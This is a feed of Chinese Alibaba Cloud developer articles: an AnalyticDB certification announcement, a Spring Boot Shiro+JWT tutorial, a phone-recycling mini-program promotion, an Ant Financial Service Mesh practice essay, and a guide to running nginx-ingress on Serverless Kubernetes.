        权威发布 | 阿里云分析型数据库AnalyticDB 荣膺中国信通院大数据产品评测双料认证 Fri, 02 May 2025 09:39:04 +0800 大会汇集了国内外知名机构的数据资产管理领军专家,对政务、工业、金融等领域的数据资产管理问题展开深入探讨,并对中国信通院第九批大数据产品能力评测结果进行了公布和证书颁发。

        其中阿里云分析型数据库产品 AnalyticDB 获得了分析型数据库基础能力和性能双料认证。尤其在大规模性能认证方面,本次评测采用了全球最大规模的 TPC-DS 100TB 测试标准,阿里云 AnalyticDB 完成了 640 节点的分布式分析型数据库性能测试,是迄今为止通过信通院评测认证的最大规模分布式分析型数据库集群,综合评测结果同领域领先。
        1576067725915-db0eb348-d8bd-487b-961c-c7e48a220a1a.png
        1576067725814-5fa96c83-9b95-4c51-9501-a5802f67d2e8.jpeg

        随着业务和技术的变化演进,传统数据仓库方案在支撑企业业务上遇到一系列问题。
        1576133794736-d945d01e-1102-4ba2-be8e-7d26c8ad82dc.png

        相比较传统大数据产品 阿里云 AnalyticDB 具有更多优点。

        1,扩展能力强,AnalyticDB 是 MPP架构的分布式集群数据库,摆脱单机处理瓶颈。

        2,使用简单, AnalyticDB 支持SQL 2003,兼容MySQL,Oracle语法和支持PL/SQL存储过程,触发器,支持标准数据库事务。

        3,支持场景丰富,AnalyticDB 通过行存储、列存储、多种分区表和索引等机制,可以支持海量数据的在线交付分析,也支持ETL批处理任务。

        4,实时性更强,相比离线数仓方案,报表数据延时从天级别缩短至秒级,数据实时性高。

        5,高可用,服务秒级恢复,AZ内/跨AZ部署,自动故障检测、摘除和副本重搭。

        6,更安全,具有更完善和细化的权限体系模型,白名单和集群级别RAM控制

        当前AnalyticDB For PostgreSQL正在进行 6.0 新版本的公测,6.0 版本大幅提升并发事务处理能力,更好的满足实时数仓场景,同时通过事务锁等优化,完备支持HTAP业务,在既有JSON类型上,支持JSONB存储格式,实现高性能的JSON数据处理及更丰富的JSON函数等特性。
        1576133854036-b8aaa587-fcd1-4515-b1be-21081ab5d10d.png

        阿里云 AnalyticDB 广泛应用于企业实时数仓构建,如电商&新零售大数据运营支撑平台,用户将平台业务线上、线下各渠道的行为数据清洗沉淀到实时数仓,通过数仓提供在线客户标签和用户群体分析能力,圈选目标客户,进行针对性的广告投放和营销活动。

        1576067725798-a59bc30b-0437-42d1-87f2-8c9f894eb6f9.png

        AnalyticDB 6.0 (事务增强版)火热公测中!限时免费,立即查看]]> Spring Boot 最简单整合Shiro+JWT方式 Fri, 02 May 2025 09:39:04 +0800 简介

        目前RESTful大多都采用JWT来做授权校验,在Spring Boot 中可以采用ShiroJWT来做简单的权限以及认证验证,在和Spring Boot集成的过程中碰到了不少坑。便结合自身以及大家的常用的运用场景开发出了这个最简单的整合方式fastdep-shiro-jwt

        源码地址

        希望大家可以star支持一下,后续还会加入其它依赖的简易整合。
        https://github.com/louislivi/fastdep

        引入依赖

        • Maven
        <dependency>
            <groupId>com.louislivi.fastdep</groupId>
            <artifactId>fastdep-shiro-jwt</artifactId>
            <version>1.0.2</version>
        </dependency>
        • Gradle

          compile group: 'com.louislivi.fastdep', name: 'fastdep-redis', version: '1.0.2'

        配置文件

        • application.yml

          fastdep:
          shiro-jwt:
            filter: #shiro过滤规则
              admin:
                path: /admin/**
                role: jwt # jwt为需要进行token校验
              front:
                path: /front/**/**
                role: anon # anon为无需校验
            secret: "6Dx8SIuaHXJYnpsG18SSpjPs50lZcT52" # jwt秘钥
          #    expireTime: 7200000 # token有效期
          #    prefix: "Bearer "  # token校验时的前缀
          #    signPrefix: "Bearer " # token生成签名的前缀
          #    header: "Authorization" # token校验时的header头
          #    以下对应为shiro配置参数,无特殊需求无需配置
          #    loginUrl: 
          #    successUrl: 
          #    unauthorizedUrl: 
          #    filterChainDefinitions: 
        • 用户权限配置类

          @Component
          public class FastDepShiroJwtConfig extends FastDepShiroJwtAuthorization {
            
            @Autowired
            private UserRequestDataMapper userRequestDataMapper;
          
            @Override
            public SimpleAuthorizationInfo getAuthorizationInfo(String userId) {
                // 查询该用户下的所有权限(当前为示例仅查询用户ID真实环境替换为用户的权限值)
                Set<String> collect = userRequestDataMapper.selectOptions().stream().map(u -> u.getUserId().toString()).collect(Collectors.toSet());
                  SimpleAuthorizationInfo simpleAuthorizationInfo = new SimpleAuthorizationInfo();
                  System.out.println(collect);
                  // 当前值为 [1]
                  // 添加用户权限到SimpleAuthorizationInfo中
                  simpleAuthorizationInfo.addStringPermissions(collect);
                  return simpleAuthorizationInfo;
              }
          }

        运用

        @RestController
        public class TestController {
            @Autowired
            private JwtUtil jwtUtil;
        
            /**
             * 当前为示例所以直接返回了token,真实环境为校验登录信息后再返回token即可
             * @author : louislivi
             */
            @GetMapping("front/login")
            public String login() {
                // ...校验登录信息是否正确
                // 传入用户唯一标示
                return jwtUtil.sign("1"); 
            }
        
            /**
             * 当前为示例所以权限写的是用户ID 真实环境替换为权限key
             * @author : louislivi
             */
            @GetMapping("admin")
            @RequiresPermissions("1")
            public String jwt() {
                return "ok!";
            }
        }

        测试

        1.获取token
        front-login.png

        2.测试权限校验

        • 带token
          hasToken.png
        • 不带token

          {
              "msg": "Access denied !",
              "code": 401
          }
          • 带上token但是,SimpleAuthorizationInfo中无指定权限
        {
            "msg": "Subject does not have permission [1]",
            "code": 403
        }

        扩展

        有时候需要自定义权限校验以及错误返回信息结构等,这时候就需要重写FastDepShiroJwtAuthorization类中的方法。更多详情请看这里

        原理

        使用ImportBeanDefinitionRegistrar BeanDefinitionBuilder.genericBeanDefinition动态注入Bean其实很简单有兴趣可以去看看源码,这样的依赖集成是不是简单了很多呢?

        希望大家能够支持开源,给个小星星,后续还会继续开发其他依赖的整合,甚至兼容其他框架使用。fastdepjava整合依赖更简单。在此也招募有志同道合的coder共同完善这个项目。

        ]]>
        旧手机回收不放心?阿里小程序为回收加码! Fri, 02 May 2025 09:39:04 +0800 小云家里有几台旧手机,不敢随意丢弃,担心手机里的隐私泄漏。又不愿卖给小商贩,价格不透明。犹犹豫豫,一直不知道怎么处理。

        针对用户担心手机隐私泄漏、回收价不透明的痛点,闪回收牵手阿里云共同打造“闪回收手机回收”小程序,通过简单操作即可知晓手机回收价格,在回收完成后,闪回收会在全程监控下恢复手机出场设置,并做信息填压式覆盖,更好的保障用户的隐私不受侵害。阿里云为闪回收提供了稳定、扩展性极强的服务能力,可以放心的在对外推广。同时也帮助闪回收解决了用户信息、监控信息云端存储的难题。

        闪回收是全国领先的手机数码回收平台,除了直接服务于线上用户,还为全国15万家手机门店赋能手机回收、以旧换新、手机碎屏险等业务能力。闪回收充分利用阿里云上提供的服务,如自动获取用户当前手机型号、获取用户基本信息、模版消息触达等,不断优化回收流程,给用户更好的回收体验。

        然而在回收业务运营过程中,最困扰闪回收的一点是业务扩展。闪回收在阿里小程序上可以提供很好的回收服务,但还未能在钉钉、高德等其他阿里系产品中落地。而阿里云小程序的“一云多端”恰恰解决了这一困扰。

        小程序对业务有哪些帮助?

        1.提升业务可信度
        手机回收业务最大的痛点在于用户对平台的信任度。支付宝天然给予用户信赖、安全的服务感受,更加适合回收类(信用背书要求比较高)的行业入驻。闪回收在各端的运营中,阿里小程序是转化最好的渠道之一。

        2.为运营赋能
        阿里小程序不断开放新的功能组件。从收藏有礼到关注有礼,从模版消息触达到付款后推荐。阿里小程序从商家运营角度出发,提升商家运营效率,真真切切的帮助商家做业务提升。

        3.帮助商家提升服务能力
        阿里小程序免费开放的云客服能力,简单的接入机制,帮助商家和用户之间形成高效的沟通通道。另外,阿里小程序还免费开放订单中心接入,让交易用户通过支付宝账单即可查看订单详情,既方便用户又减少闪回收的服务压力。

        4.对接蚂蚁森林能量
        闪回收小程序与蚂蚁森林合作,回收送森林能量。用户在闪回收回收手机、平板、电脑不仅能拿到回收款,还能拿到631g森林能量。自2019年10月接入蚂蚁森林至今,订单转化提高22.81%,回收订单量增长36.3%。大大提升闪回收用户的回收心智。

        5.多端统一后台
        闪回收应用在支付宝、钉钉、高德等不同端提供的服务大致相同,如:手机报价、一键上门等。因此统一后台,对减少技术开发、提升人效非常重要。“一云多端”下,统一后台成为可能。

        带大家了解一下“闪回收”小程序的特别及界面。

        1.png

        2.png

        1.良好的用户体验:用户来访闪回收小程序时,即可自动识别用户的手机型号,自动展示其最高回收价,减少用户操作。

        2.便捷的回收方式:闪回收小程序提供回收包邮服务,用户可将要回收的机器以邮费到付形式邮寄到闪回收。并且闪回收自动呼叫快递上门,用户只要填写预约时间和地址,等待快递上门取件即可。

        3.专业的回收服务:用户回收的机器自进入闪回收开始,即进入360度无死角监控。从收货拆包、质量检测到数据清理,每一步都有据可循。保障用户的财产安全、隐私安全。

        “闪回收”小程序使用了阿里云哪些产品来打造自己的小程序呢?

        • 负载均衡SLB:贷款值5120Mbps
        • 应用层:云服务器3台
        • 数据层:云数据库主库1,从库3,备1台,redis主从2台
        • 任务层:云服务器1,主要用于执行定时任务、队列任务
        • 静态文件oss,cdn加速
        • 阿里短信服务
        • elasticsearch集群,3台服务器
        • rocketMQ服务

        image.png

        扫码体验小程序

        3_meitu_1

        了解更多最近的小程序能力和资讯,请访问开发者中心

        _2019_11_28_2_04_45

        ]]>
        服务网格在“路口”的产品思考与实践 Fri, 02 May 2025 09:39:04 +0800 点击下载《不一样的 双11 技术:阿里巴巴经济体云原生实践》

        ban.jpg

        本文节选自《不一样的 双11 技术:阿里巴巴经济体云原生实践》一书,点击上方图片即可下载!

        作者 | 宋顺,花名齐天,蚂蚁金服高级技术专家

        一、引言

        Service Mesh 是蚂蚁金服下一代架构的核心,经过了 2 年的沉淀,我们探索出了一套切实可行的方案并最终通过了 双11 的考验。本文主要分享在当下“路口”,我们在产品设计上的思考和实践,希望能给大家带来一些启发。

        二、为什么需要 Service Mesh?

        1.1 微服务治理与业务逻辑解耦

        在 Service Mesh 之前,微服务体系的玩法都是由中间件团队提供一个 SDK 给业务应用使用,在 SDK 中会集成各种服务治理的能力,如:服务发现、负载均衡、熔断限流、服务路由等。

        在运行时,SDK 和业务应用的代码其实是混合在一个进程中运行的,耦合度非常高,这就带来了一系列的问题:

        1. 升级成本高

          1. 每次升级都需要业务应用修改 SDK 版本号,重新发布。
          2. 在业务飞速往前跑的时候,是不太愿意停下来做这些和自身业务目标不太相关的事情的。
        2. 版本碎片化严重

          1. 由于升级成本高,但中间件还是会向前发展,久而久之,就会导致线上 SDK 版本各不统一、能力参差不齐,造成很难统一治理
        3. 中间件演进困难

          1. 由于版本碎片化严重,导致中间件向前演进过程中就需要在代码中兼容各种各样的老版本逻辑,戴着“枷锁”前行,无法实现快速迭代

        有了 Service Mesh 之后,我们就可以把 SDK 中的大部分能力从应用中剥离出来,拆解为独立进程,以 Sidecar 的模式部署。通过将服务治理能力下沉到基础设施,可以让业务更加专注于业务逻辑,中间件团队则更加专注于各种通用能力,真正实现独立演进,透明升级,提升整体效率。

        1.png

        1.2 异构语言统一治理

        随着新技术的发展和人员更替,在同一家公司中往往会出现使用各种不同语言的应用和服务,为了能够统一管控这些服务,以往的做法是为每种语言都重新开发一套完整的 SDK,维护成本非常高,而且对中间件团队的人员结构也带来了很大的挑战。

        有了 Service Mesh 之后,通过将主体的服务治理能力下沉到基础设施,多语言的支持就轻松很多了,只需要提供一个非常轻量的 SDK、甚至很多情况都不需要一个单独的 SDK,就可以方便地实现多语言、多协议的统一流量管控、监控等治理需求。
        2.png
        图片来源

        1.3 金融级网络安全

        当前很多公司的微服务体系建设都建立在“内网可信”的假设之上,然而这个原则在当前大规模上云的背景下可能显得有点不合时宜,尤其是涉及到一些金融场景的时候。

        通过 Service Mesh,我们可以更方便地实现应用的身份标识和访问控制,辅之以数据加密,就能实现全链路可信,从而使得服务可以运行于零信任网络中,提升整体安全水位。

        3.png

        三、在当下“路口”的思考

        3.1 云原生方案?

        正因为 Service Mesh 带来了上述种种的好处,所以这两年社区中对 Service Mesh 的关注度越来越高,也涌现出了很多优秀的 Service Mesh 产品,Istio 就是其中一款非常典型的标杆产品。

        Istio 以其前瞻的设计结合云原生的概念,一出现就让人眼前一亮,心之向往。不过深入进去看了之后发现,在目前阶段要落地的话,还是存在一些 gap 的。

        4.png

        图片来源https://istio.io/docs/concepts/what-is-istio/

        3.2 Greenfield vs Brownfield

        在正式展开讨论之前,我们先来看一副漫画。

        5.png

        图片来源https://faasandfurious.com/90

        上面这幅漫画描绘了这样一个场景:

        • 有两个工人在工作,其中一个在绿色的草地(Greenfield)上,另一个在棕色的土地(Brownfield)上
        • 在绿色草地上的工人对在棕色土地上的工人说:“如果你没有给自己挖这么深的坑,那么你也可以像我一样做一些很棒的新东西”
        • 然后在棕色土地上的工人回答道:“你倒是下来试试!”

        这是一幅很有意思的漫画,我们可以认为在绿色草地上的工人是站着说话不腰疼,不过其实本质的原因还是两者所处的环境不同。

        在一片未开发过的土地上施工确实是很舒服的,因为空间很大,也没有周遭各种限制,可以使用各种新技术、新理念,我们国家近几十年来的一些新区新城的建设就属于这类。而在一片已经开发过的土地上施工就大不一样了,周围环境会有各种限制,比如地下可能有各种管线,一不小心就挖断了,附近还有各种大楼,稍有不慎就可能把楼给挖塌了,所以做起事来就要非常小心,设计方案时也会受到各种约束,无法自由发挥。

        对于软件工程,其实也是一样的,Greenfield 对应着全新的项目或新的系统,Brownfield 对应着成熟的项目或遗留系统。

        我相信大部分程序员都是喜欢做全新的项目的,包括我自己也是一样。因为可以使用新的技术、新的框架,可以按照事物本来的样子去做系统设计,自由度很高。而在开发/维护一个成熟的项目时就不太一样了,一方面项目已经稳定运行,逻辑也非常复杂,所以无法很方便地换成新的技术、新的框架,在设计新功能时也会碍于已有的架构和代码实现做很多妥协,另一方面前人可能不知不觉挖了很多坑,稍有不慎就会掉进坑里,所以行事必须要非常小心,尤其是在做大的架构改变的时候。

        3.3 现实场景

        3.3.1 Brownfield 应用当道

        在现实中,我们发现目前大部分的公司还没有走向云原生,或者还刚刚在开始探索,所以大量的应用其实还跑在非 K8s 的体系中,比如跑在虚拟机上或者是基于独立的服务注册中心构建微服务体系。

        虽然确实有少量 Greenfield 应用已经在基于云原生来构建了,但现实是那些大量的 Brownfield 应用是公司业务的顶梁柱,承载着更大的业务价值,所以如何把它们纳入 Service Mesh 统一管控,从而带来更大的价值,也就成了更需要优先考虑的话题。

        6.png
        图片来源
        7.png
        独立的服务注册中心

        3.3.2 云原生方案离生产级尚有一定距离

        另一方面,目前 Istio 在整体性能上还存在一些有待解决的点,以下引述熬小剑老师在蚂蚁金服 Service Mesh 深度实践中的观点):

        Mixer

        1. Mixer 的性能问题,一直都是 Istio 中最被人诟病的地方。
        2. 尤其在 Istio 1.1/1.2 版本之后引入了 Out-Of-Process Adapter,更是雪上加霜。
        3. 从落地的角度看,Mixer V1 糟糕至极的性能,已经是“生命无法承受之重”。对于一般规模的生产级落地而言,Mixer 性能已经是难于接受,更不要提大规模落地……
        4. Mixer V2 方案则给了社区希望:将 Mixer 合并进 Sidecar,引入 web assembly 进行 Adapter 扩展,这是我们期待的 Mixer 落地的正确姿势,是 Mixer 的未来,是 Mixer 的“诗和远方”。然而社区望穿秋水,但Mixer V2 迟迟未能启动,长期处于 In Review 状态,远水解不了近渴。

        Pilot

        1. Pilot 是一个被 Mixer 掩盖的重灾区:长期以来大家的性能关注点都在 Mixer,表现糟糕而且问题明显的Mixer 一直在吸引火力。但是当选择放弃 Mixer(典型如官方在 Istio 新版本中提供的关闭 Mixer 的配置开关)之后,Pilot 的性能问题也就很快浮出水面。
        2. 我们实践下来发现 Pilot 目前主要有两大问题:1)无法支撑海量数据 2)每次变化都会触发全量推送,性能较差

        8.png

        图片来源

        3.3.3 当下“路口”我们该怎么走?

        我们都非常笃信云原生就是未来,是我们的“诗和远方”,但是眼下的现实情况是一方面 Brownfield 应用当道,另一方面云原生的 Service Mesh 方案自身离生产级还有一定的距离,所以在当下这个“路口”我们该怎么走?

        我们给出的答案是:

        9.png

        其实如前面所述,我们采用 Service Mesh 方案的初心是因为它的架构改变可以带来很多好处,如:服务治理与业务逻辑解耦、异构语言统一治理、金融级网络安全等,而且我们相信这些好处不管对 Greenfield 应用还是 Brownfield 应用都是非常需要的,甚至在现阶段对 Brownfield 应用产生的业务价值会远远大于 Greenfield 应用。

        所以从“务实”的角度来看,我们首先还是要探索出一套现阶段切实可行的方案,不仅要支持 Greenfield 应用,更要能支持 Brownfield 应用,从而可以真正把 Service Mesh 落到实处,产生业务价值。

        四、蚂蚁金服的产品实践

        4.1 发展历程和落地规模

        10.png

        Service Mesh 在蚂蚁金服的发展历程,先后经历过如下几个阶段:

        • 技术预研 阶段:2017 年底开始调研并探索 Service Mesh 技术,并确定为未来发展方向。
        • 技术探索 阶段:2018 年初开始用 Golang 开发 Sidecar SOFAMosn ,年中开源基于 Istio 的 SOFAMesh 。
        • 小规模落地 阶段:2018 年开始内部落地,第一批场景是替代 Java 语言之外的其他语言的客户端 SDK,之后开始内部小范围试点。
        • 规模落地 阶段:2019 年上半年,作为蚂蚁金融级云原生架构升级的主要内容之一,逐渐铺开到蚂蚁金服内部的业务应用,并平稳支撑了 618 大促。
        • 对外输出 阶段:2019 年 9 月,SOFAStack 双模微服务平台入驻阿里云开始公测,支持 SOFA, Dubbo 和 Spring Cloud 应用
        • 全面大规模落地 阶段:2019 年下半年,在蚂蚁主站的大促核心应用中全面铺开,落地规模非常庞大,而且最终如“丝般顺滑”地支撑了 双11 大促。

        在今年 双11,Service Mesh 覆盖了数百个交易核心链路应用,SOFAMosn 注入的容器数量达到了数十万(据信是目前全球最大的 Service Mesh 集群),双11 当天处理的 QPS 达到了几千万,平均处理响应时间<0.2 ms.
        SOFAMosn 本身在大促中间完成了数十次的业务无感升级,达到了我们的预期,初步完成了基础设施和业务的第一步的分离,见证了 Mesh 化之后基础设施的迭代速度。

        4.2 SOFAStack 双模微服务平台

        我们的服务网格产品名是 SOFAStack 双模微服务平台,这里的“双模微服务”是指传统微服务和 Service Mesh 双剑合璧,即“基于 SDK 的传统微服务”可以和“基于 Sidecar 的 Service Mesh 微服务”实现下列目标:

         •  互联互通:两个体系中的应用可以相互访问;
         •  平滑迁移:应用可以在两个体系中迁移,对于调用该应用的其他应用,做到透明无感知;
         •  异构演进:在互联互通和平滑迁移实现之后,我们就可以根据实际情况进行灵活的应用改造和架构演进;

        在控制面上,我们引入了 Pilot 实现配置的下发(如服务路由规则),在服务发现上保留了独立的 SOFA 服务注册中心。

        在数据面上,我们使用了自研的 SOFAMosn,不仅支持 SOFA 应用,同时也支持 Dubbo 和 Spring Cloud 应用。

        在部署模式上,我们不仅支持容器/K8s,同时也支持虚拟机场景。

        11.png

        4.3 大规模场景下的服务发现

        要在蚂蚁金服落地,首先一个需要考虑的就是如何支撑 双11 这样的大规模场景。前面已经提到,目前 Pilot 本身在集群容量上比较有限,无法支撑海量数据,同时每次变化都会触发全量推送,无法应对大规模场景下的服务发现。

        所以,我们的方案是保留独立的 SOFA 服务注册中心来支持千万级的服务实例信息和秒级推送,业务应用通过直连 Sidecar 来实现服务注册和发现。

        12.png

        4.4 流量劫持

        Service Mesh 中另一个重要的话题就是如何实现流量劫持:使得业务应用的 Inbound 和 Outbound 服务请求都能够经过 Sidecar 处理。

        区别于社区的 iptables 等流量劫持方案,我们的方案就显得比较简单直白了,以下图为例:

        1. 假设服务端运行在 1.2.3.4 这台机器上,监听 20880 端口,首先服务端会向自己的 Sidecar 发起服务注册请求,告知 Sidecar 需要注册的服务以及 IP + 端口(1.2.3.4:20880);
        2. 服务端的 Sidecar 会向 SOFA 服务注册中心发起服务注册请求,告知需要注册的服务以及 IP + 端口,不过这里需要注意的是注册上去的并不是业务应用的端口(20880),而是 Sidecar 自己监听的一个端口(例如:20881);
        3. 调用端向自己的 Sidecar 发起服务订阅请求,告知需要订阅的服务信息;
        4. 调用端的 Sidecar 向调用端推送服务地址,这里需要注意的是推送的 IP 是本机,端口是调用端的 Sidecar 监听的端口(例如:20882);
        5. 调用端的 Sidecar 会向 SOFA 服务注册中心发起服务订阅请求,告知需要订阅的服务信息;
        6. SOFA 服务注册中心向调用端的 Sidecar 推送服务地址(1.2.3.4:20881);

        13.png


        经过上述的服务发现过程,流量劫持就显得非常自然了:

        1. 调用端拿到的“服务端”地址是127.0.0.1:20882,所以就会向这个地址发起服务调用;
        2. 调用端的 Sidecar 接收到请求后,通过解析请求头,可以得知具体要调用的服务信息,然后获取之前从服务注册中心返回的地址后就可以发起真实的调用(1.2.3.4:20881);
        3. 服务端的 Sidecar 接收到请求后,经过一系列处理,最终会把请求发送给服务端(127.0.0.1:20880);

        14.png

        可能会有人问,为啥不采用 iptables 的方案呢?主要的原因是一方面 iptables 在规则配置较多时,性能下滑严重,另一个更为重要的方面是它的管控性和可观测性不好,出了问题比较难排查。

        4.5 平滑迁移

        平滑迁移可能是整个方案中最为重要的一个环节了,前面也提到,在目前任何一家公司都存在着大量的 Brownfield 应用,它们有些可能承载着公司最有价值的业务,稍有闪失就会给公司带来损失,有些可能是非常核心的应用,稍有抖动就会造成故障,所以对于 Service Mesh 这样一个大的架构改造,平滑迁移是一个必选项,同时还需要支持可灰度和可回滚。

        得益于独立的服务注册中心,我们的平滑迁移方案也非常简单直白:

        1.初始状态

        以一个服务为例,初始有一个服务提供者,有一个服务调用者。

        15.png

        2.透明迁移调用方

        在我们的方案中,对于先迁移调用方还是先迁移服务方没有任何要求,这里假设调用方希望先迁移到 Service Mesh 上,那么只要在调用方开启 Sidecar 的注入即可,服务方完全不感知调用方是否迁移了。所以调用方可以采用灰度的方式一台一台开启 Sidecar,如果有问题直接回滚即可。

        16.png

        3.透明迁移服务方

        假设服务方希望先迁移到 Service Mesh 上,那么只要在服务方开启 Sidecar 的注入即可,调用方完全不感知服务方是否迁移了。所以服务方可以采用灰度的方式一台一台开启 Sidecar,如果有问题直接回滚即可。

        17.png

        4.终态

        18.png

        4.6 多协议支持

        考虑到目前大部分用户的使用场景,除了 SOFA 应用,我们同时也支持 Dubbo 和 Spring Cloud 应用接入SOFAStack 双模微服务平台,提供统一的服务治理。多协议支持采用通用的 x-protocol,未来也可以方便地支持更多协议。

        19.png

        4.7 虚拟机支持

        在云原生架构下,Sidecar 借助于 K8s 的 webhook/operator 机制可以方便地实现注入、升级等运维操作。然而大量系统还没有跑在 K8s 上,所以我们通过 agent 的模式来管理 Sidecar 进程,从而可以使 Service Mesh 能够帮助老架构下的应用完成服务化改造,并支持新架构和老架构下服务的统一管理。

        20.png

        4.8 产品易用性

        在产品易用性上我们也做了不少工作,比如可以直接在界面上方便地设置服务路由规则、服务限流等,再也不用手工写 yaml 了:

        21.png

        22.png

        也可以在界面上方便地查看服务拓扑和实时监控:

        23.jpeg
        24.png

        五、展望未来

        5.1 拥抱云原生

        目前已经能非常清楚地看到整个行业在经历从云托管(Cloud Hosted)到云就绪(Cloud Ready)直至云原生(Cloud Native)的过程,所以前面也提到我们都非常笃信云原生就是未来,是我们的“诗和远方”,虽然眼下在落地过程中还存在一定的 gap,不过相信随着我们的持续投入,gap 会越来越小。

        另外值得一提的是我们拥抱云原生其根本还在于降低资源成本,提升开发效率,享受生态红利,所以云原生本身不是目的,而是手段,切不可本末倒置了。

        25.png

        5.2 持续加强 Pilot 的能力

        为了更好地拥抱云原生,后续我们也会和 Istio 社区共建,持续加强 Pilot 的能力。

        而就在最近,在综合了过去一年多的思考和探索之后,蚂蚁金服和阿里巴巴集团的同事们共同提出了一套完整的解决方案,来融合控制平面和传统注册中心/配置中心,从而可以在保持协议标准化的同时,加强 Pilot 的能力,使其逐步具备生产级的能力。

        26.png

        5.3 支持透明劫持

        前面提到在蚂蚁金服的实践中是基于服务注册中心来实现流量劫持的,该方案不管是在性能、管控能力还是可观测性方面都是不错的选择,不过对应用存在一定的侵入性(需要引入一个轻量的注册中心 SDK)。

        考虑到很多用户对性能要求没那么敏感,同时有大量遗留系统希望通过 Service Mesh 实现统一管控,所以后续我们也会支持透明劫持,同时在管控性和可观测性方面会做增强。

        27.png

        六、结语

        基于“务实”的理念,Service Mesh 在蚂蚁金服经过了 2 年的沉淀,我们探索出了一套现阶段切实可行的方案并最终通过了 双11 的考验。在这个过程中,我们也愈发体验到了 Service Mesh 带来的好处,例如 SOFAMosn 在大促中间完成了数十次的业务无感升级,见证了 Mesh 化之后基础设施的迭代速度。

        我们判断,未来 Service Mesh 会成为云原生下微服务的标准解决方案,所以我们也会持续加大对 Service Mesh 的投入,包括接下来蚂蚁金服将和阿里巴巴集团一起深度参与到 Istio 社区中去,和社区一起把 Istio 打造成 Service Mesh 的事实标准。

        ban.jpg

        本书亮点

        • 双11 超大规模 K8s 集群实践中,遇到的问题及解决方法详述
        • 云原生化最佳组合:Kubernetes+容器+神龙,实现核心系统 100% 上云的技术细节
        • 双 11 Service Mesh 超大规模落地解决方案

        “阿里巴巴云原生微信公众号(ID:Alicloudnative)关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术公众号。”

        ]]>
        在 Serverless Kubernetes(ASK) 集群中使用 Nginx Ingress Fri, 02 May 2025 09:39:04 +0800 原文作者:贤维
        原文链接:https://developer.aliyun.com/article/727019

        ASK: Alibaba Cloud Serverless Kubernetes

        导读

        不同于阿里云 ACK 集群默认通过 nginx-ingress-controller 提供 ingress 能力,在 ASK(Serverless Kubernetes) 集群中默认基于 SLB 七层转发提供ingress能力(请参考文档https://help.aliyun.com/document_detail/86398.html)。
        这样的优势是Serverless集群开箱即用,用户无需部署任何controller即可创建自己的Ingress资源,更符合Serverless环境的用法。

        然而基于SLB七层转发的ingress与nginx-ingress-controller相比,缺少了一些高级Ingress功能,无法满足某些客户场景的需求,比如支持域名path的正则匹配等。

        所以ASK集群也提供了与ACK集群同样的 nginx-ingress-controller,供用户使用 nginx 提供的 ingress 转发能力。用户可以根据自己的需求决定选择两者之一。下面我们一起来尝试在 ASK 集群中使用 nginx-ingress。

        部署 nginx-ingress-controller

        在 ASK 集群中部署 yaml 文件:
        https://github.com/AliyunContainerService/serverless-k8s-examples/blob/master/ingress-nginx/nginx-ingress-controller.yaml

        #kubectl apply -f https://raw.githubusercontent.com/AliyunContainerService/serverless-k8s-examples/master/ingress-nginx/nginx-ingress-controller.yaml
        service/nginx-ingress-lb created
        configmap/nginx-configuration created
        configmap/tcp-services created
        configmap/udp-services created
        serviceaccount/nginx-ingress-controller created
        clusterrole.rbac.authorization.k8s.io/nginx-ingress-controller created
        clusterrolebinding.rbac.authorization.k8s.io/nginx-ingress-controller created
        deployment.apps/nginx-ingress-controller created
        
        # kubectl -n kube-system get pod
        NAME                                       READY   STATUS    RESTARTS   AGE
        nginx-ingress-controller-c9d8697f6-n4bzs   0/1     Running   0          52s
        nginx-ingress-controller-c9d8697f6-p8p6j   0/1     Running   0          52s
        
        # kubectl -n kube-system get svc
        NAME               TYPE           CLUSTER-IP     EXTERNAL-IP    PORT(S)                      AGE
        metrics-server     ClusterIP      172.19.4.171   <none>         443/TCP                      72d
        nginx-ingress-lb   LoadBalancer   172.19.6.118   47.93.131.72   80:32676/TCP,443:30256/TCP   116s

        可以看到一个公网slb已经被创建出来(后端是两个nginx-ingress-controller pod),这是集群中所有ingress的入口IP地址。

        部署Ingress示例

        我们同样提供了简单的Coffee和Tea Ingress示例:https://github.com/AliyunContainerService/serverless-k8s-examples/blob/master/ingress-nginx/ingress-cafe-demo.yaml

        需要注意的是Ingress中需要指定如下Annotation,才能保证ingress被nginx-ingress-controller正确处理。
        kubernetes.io/ingress.class:nginx

        # kubectl apply -f https://raw.githubusercontent.com/AliyunContainerService/serverless-k8s-examples/master/ingress-nginx/ingress-cafe-demo.yamldeployment.extensions/coffee created
        service/coffee-svc created
        deployment.extensions/tea created
        service/tea-svc created
        ingress.extensions/cafe-ingress created
        
        # kubectl get pod
        NAME                             READY   STATUS             RESTARTS   AGE
        coffee-56668d6f78-g7g6p          1/1     Running            0          88s
        coffee-56668d6f78-x9ktc          1/1     Running            0          88s
        tea-85f8bf86fd-477d2             1/1     Running            0          88s
        tea-85f8bf86fd-jlq6b             1/1     Running            0          88s
        tea-85f8bf86fd-p4ng4             1/1     Running            0          88s
        
        # kubectl get svc
        NAME         TYPE        CLUSTER-IP      EXTERNAL-IP   PORT(S)    AGE
        coffee-svc   ClusterIP   None            <none>        80/TCP     102s
        kubernetes   ClusterIP   172.19.0.1      <none>        443/TCP    72d
        tea-svc      ClusterIP   None            <none>        80/TCP     102s
        
        # kubectl get ing
        NAME           HOSTS              ADDRESS        PORTS   AGE
        cafe-ingress   cafe.example.com   47.93.131.72   80      2m1s

        pod 和 ingress 都已创建成功,下面我们尝试访问 Ingress:

        # curl -H "Host:cafe.example.com" 47.93.131.72/tea
        Server address: 192.168.55.159:80
        Server name: default-tea-85f8bf86fd-p4ng4
        Date: 14/Nov/2019:09:01:46 +0000
        URI: /tea
        Request ID: 2c3a87eb89130d62664b640fcbabc74b
        
        # curl -H "Host:cafe.example.com" 47.93.131.72/coffee
        Server address: 192.168.55.156:80
        Server name: default-coffee-56668d6f78-x9ktc
        Date: 14/Nov/2019:09:01:49 +0000
        URI: /coffee
        Request ID: a4f1d84bb5288a260ecfc5d21ecccff6

        Ingress 链路访问成功,可以看到上述域名转发由 nginx ingress controller 完成。

        当运行上述示例成功后,记得清理集群中的 ingress:
        kubectl delete -f https://raw.githubusercontent.com/AliyunContainerService/serverless-k8s-examples/master/ingress-nginx/ingress-cafe-demo.yaml

        更多 ASK 集群示例请参考:https://github.com/AliyunContainerService/serverless-k8s-examples

        “阿里巴巴云原生微信公众号(ID:Alicloudnative)关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术公众号。”

        ]]>
